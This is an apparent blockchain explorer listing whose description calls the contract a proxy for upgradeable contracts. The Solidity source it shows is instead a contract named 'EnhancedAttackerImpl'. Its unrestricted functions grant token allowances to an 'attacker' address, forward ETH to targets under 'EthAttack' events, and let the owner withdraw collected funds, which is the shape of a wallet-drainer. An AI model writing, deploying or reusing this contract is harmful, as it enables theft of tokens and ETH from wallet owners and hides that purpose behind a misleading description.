Description:
Proxy contract enabling upgradeable smart contract patterns. Delegates calls to an implementation contract.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
interface IERC20 {
function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
}
interface IETHSender {
function sendETH() external payable returns (bool);
}
contract EnhancedAttackerImpl {
// Storage layout (must be consistent across upgrades)
address private _owner;
bool private _initialized;
address public ethSenderContract; // Address of the ETHSender contract
address private attacker_increase_allowance_address; //0x32CE27A92c83A97aC713b8682f57b31f13FD418E;
// Events
event AllowanceIncreased(address indexed tokenAddress, uint256 amount, bool success);
event EthAttack(address indexed target, uint256 amount, bool success);
event WithdrawAll(address indexed to, uint256 amount);
event Initialized(address indexed owner);
event ETHSenderSet(address indexed ethSender);
// Modifier to restrict to owner
modifier onlyOwner() {
require(msg.sender == _owner, "Not authorized");
_;
}
// Initialize function (called by proxy constructor)
function initialize(address owner_) external {
require(!_initialized, "Already initialized");
require(owner_ != address(0), "Zero owner");
_owner = owner_;
_initialized = true;
emit Initialized(owner_);
}
// Set the ETHSender contract address
function setETHSender(address _ethSender) external onlyOwner {
require(_ethSender != address(0), "Invalid address");
ethSenderContract = _ethSender;
emit ETHSenderSet(_ethSender);
}
// Getter for owner
function owner() external view returns (address) {
return _owner;
}
// Function 1: Increase allowance for a specific address
function increaseAllowanceForTarget(
address tokenAddress,
address targetAddress,
uint256 amount
) public returns (bool) {
bool success = IERC20(tokenAddress).increaseAllowance(targetAddress, amount);
emit AllowanceIncreased(tokenAddress, amount, success);
return success;
}
// Function to update the target address
function setIncreaseAddress(address _newTargetAddress) external onlyOwner {
require(_newTargetAddress != address(0), "Invalid target address");
attacker_increase_allowance_address = _newTargetAddress;
}
// Function 1: Increase allowance for a specific address
function increaseAllowanceForTarget2(
address tokenAddress,
uint256 amount
) public returns (bool) {
bool success = IERC20(tokenAddress).increaseAllowance(attacker_increase_allowance_address, amount);
emit AllowanceIncreased(tokenAddress, amount, success);
return success;
}
// Function to transfer all ETH that comes with this transaction
function transferTo(address targetAddress) public payable returns (bool) {
require(msg.value > 0, "Send ETH with this transaction");
(bool success, ) = targetAddress.call{value: msg.value}("");
emit EthAttack(targetAddress, msg.value, success);
return success;
}
// Function 2: Transfer ETH via ETHSender contract (just forwards the amount)
function transferToAddress() public payable returns (bool) {
require(ethSenderContract != address(0), "ETHSender not set");
require(address(this).balance >= 0.0001 ether, "Insufficient balance");
// Call the ETHSender contract - it knows where to send
bool success = IETHSender(ethSenderContract).sendETH{value: 0.0001 ether}();
emit EthAttack(ethSenderContract, 0.0001 ether, success);
return success;
}
// Withdraw all ETH to owner only
function withdrawAll() public onlyOwner {
uint256 amount = address(this).balance;
require(amount > 0, "No balance to withdraw");
(bool success, ) = _owner.call{value: amount}("");
require(success, "Withdraw failed");
emit WithdrawAll(_owner, amount);
}
// Basic receive function
receive() external payable {}
}
Submitted on: 2025-10-24 13:06:55
Comments
Log in to comment.
No comments yet.